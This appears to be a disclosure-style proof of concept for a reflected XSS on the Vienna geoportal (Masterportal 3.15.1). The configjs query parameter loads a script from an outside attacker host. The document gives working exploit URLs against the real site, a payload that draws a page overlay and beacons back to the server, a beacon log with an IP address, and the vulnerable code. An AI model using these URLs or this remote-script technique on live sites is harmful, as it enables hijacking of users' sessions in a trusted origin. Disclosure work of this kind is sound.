C-016 PoC - Reflected XSS on geoportal.wien.gv.at
Minimal PoC (one line, native dialog with the vulnerable origin):
https://geoportal.wien.gv.at/map/main/geodaten/?configjs=https://89.117.145.248.nip.io/alert.js
Payload: alert(document.domain); served from
https://89.117.145.248.nip.io/alert.js.
Full PoC (dialog + full viewport overlay + server side beacon):
https://geoportal.wien.gv.at/map/main/geodaten/?configjs=https://89.117.145.248.nip.io/poc.js
Payload served from https://89.117.145.248.nip.io/poc.js (Content-Type application/javascript, no X-Content-Type-Options: nosniff).
What happens: Masterportal 3.15.1 reads the configjs query parameter,
sees that it starts with https://, and appends
document.createElement("script") with that value as src to
document.body. The browser fetches and executes the remote file in the
origin geoportal.wien.gv.at. The payload calls alert(document.domain),
injects a full viewport overlay and sends a beacon back to this server.
Beacon log (raw JSON)
? from 181.46.160.114 at 2026-09-22T16:39:58Zhttps://geoportal.wien.gv.at from 181.46.160.114 at 2026-09-22T16:14:11.276Zhttps://geoportal.wien.gv.at from 181.46.160.114 at 2026-09-22T16:13:18.667Zhttps://geoportal.wien.gv.at from 181.46.160.114 at 2026-09-22T16:10:57.682Zhttps://geoportal.wien.gv.at from 181.46.160.114 at 2026-09-22T16:10:12.730ZVulnerable code (/map/main/mastercode/3_15_1/js/masterportal.js):
function s(){let o=null;return new URLSearchParams(window.location.search).forEach((r,n)=>{if(n.toLowerCase().localeCompare("configjs")===0)if(r.startsWith("https://"))o=r;else{const f=window.location.href.split("?").shift();o=f.substring(0,f.lastIndexOf("/")+1)+r}}),o}
const f=getConfigJsPath()===null?window.location.pathname.substring(0,window.location.pathname.lastIndexOf("/")+1)+"config.js":getConfigJsPath();
new Promise((S,h)=>{const O=document.createElement("script");document.body.appendChild(O),O.onload=S,O.onerror=h,O.async=!0,O.src=f})